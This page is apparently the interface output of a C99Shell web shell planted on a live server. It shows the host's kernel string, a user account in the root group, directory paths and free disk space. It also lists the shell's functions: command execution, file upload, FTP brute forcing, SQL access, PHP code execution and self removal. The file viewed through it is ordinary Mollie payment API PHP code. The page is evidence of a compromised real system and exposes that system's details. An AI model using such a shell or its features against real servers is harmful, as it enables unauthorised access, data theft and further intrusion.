!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/mollie/mollie-api-php/src/Endpoints/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SubscriptionPaymentEndpoint.php (2.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Mollie\Api\Endpoints;

use 
Mollie\Api\Exceptions\ApiException;
use 
Mollie\Api\Resources\Payment;
use 
Mollie\Api\Resources\PaymentCollection;

class 
SubscriptionPaymentEndpoint extends CollectionEndpointAbstract
{
    protected 
$resourcePath "customers_subscriptions_payments";

    protected 
$customerId null;

    protected 
$subscriptionId null;

    
/**
     * Retrieves a paginated collection of Subscription Payments from Mollie.
     *
     * @param string $customerId
     * @param string $subscriptionId
     * @param string|null $from The first payment ID you want to include in your list.
     * @param int|null $limit The maximum amount of results you want to retrieve per page.
     * @param array $parameters
     *
     * @return PaymentCollection
     * @throws \Mollie\Api\Exceptions\ApiException
     */
    
public function pageForIds(
        
string $customerId,
        
string $subscriptionId,
        ?
string $from null,
        ?
int $limit null,
        array 
$parameters = []
    ) {
        
$this->customerId $customerId;
        
$this->subscriptionId $subscriptionId;

        return 
$this->rest_list($from$limit$parameters);
    }

    
/**
     * Get the object that is used by this API endpoint. Every API endpoint uses one type of object.
     *
     * @return Payment
     */
    
protected function getResourceObject()
    {
        return new 
Payment($this->client);
    }

    
/**
     * Get the collection object that is used by this API endpoint. Every API endpoint uses one type of collection object.
     *
     * @param int $count
     * @param \stdClass $_links
     *
     * @return PaymentCollection
     */
    
protected function getResourceCollectionObject($count$_links)
    {
        return new 
PaymentCollection($this->client$count$_links);
    }

    public function 
getResourcePath()
    {
        if (
is_null($this->customerId)) {
            throw new 
ApiException('No customerId provided.');
        }

        if (
is_null($this->subscriptionId)) {
            throw new 
ApiException('No subscriptionId provided.');
        }

        return 
"customers/{$this->customerId}/subscriptions/{$this->subscriptionId}/payments";
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--